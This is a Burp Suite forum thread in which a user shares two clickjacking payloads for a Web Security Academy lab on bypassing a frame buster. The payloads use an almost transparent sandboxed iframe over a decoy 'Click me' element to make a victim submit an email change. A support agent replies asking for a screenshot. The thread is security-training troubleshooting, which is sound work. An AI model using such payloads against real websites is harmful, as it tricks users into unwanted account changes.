Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Clickjacking Labs First 3 Lab Not Solved Problem

Bora | Last updated: Jul 11, 2024 01:54PM UTC

Even tough my payload is working on view exploit when I try to deliver it to victim it never solves the lab. Yes, I change the email before I deliver to victim. Check this Payload for Lab: Clickjacking with a frame buster script <style> iframe { position:relative; width: 700px; height: 500px; opacity: 0.0001; z-index: 2; } div { position:absolute; top: 450px; left: 80px; z-index: 1; } </style> <div>Test me</div> <iframe sandbox="allow-forms" src="https://0a4300890394e01281fe617500a20043.web-security-academy.net/my-account?email=hackerc@gmail.com"></iframe> I also tried this which didn't work: <head> <style> iframe{ position:relative; width:700px; height:600px; opacity:0.0001; z-index:2; } div { position:absolute; z-index:1; top:450px; left:50px; } </style> </head> <body> <div>Click me</div> <iframe sandbox="allow-forms" src="https://0a4300890394e01281fe617500a20043.web-security-academy.net/my-account?email=hacr@gmail.com"></iframe> </body>

Ben, PortSwigger Agent | Last updated: Jul 12, 2024 09:26AM UTC

Hi Bora, Just to clarify, when you view your exploit the div elements line up in the proper fashion, is that correct? Are you able to supply us with a screenshot of what you see when you carry this out (if it is easier to provide this via email then please send this to us at support@portswigger.net)?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.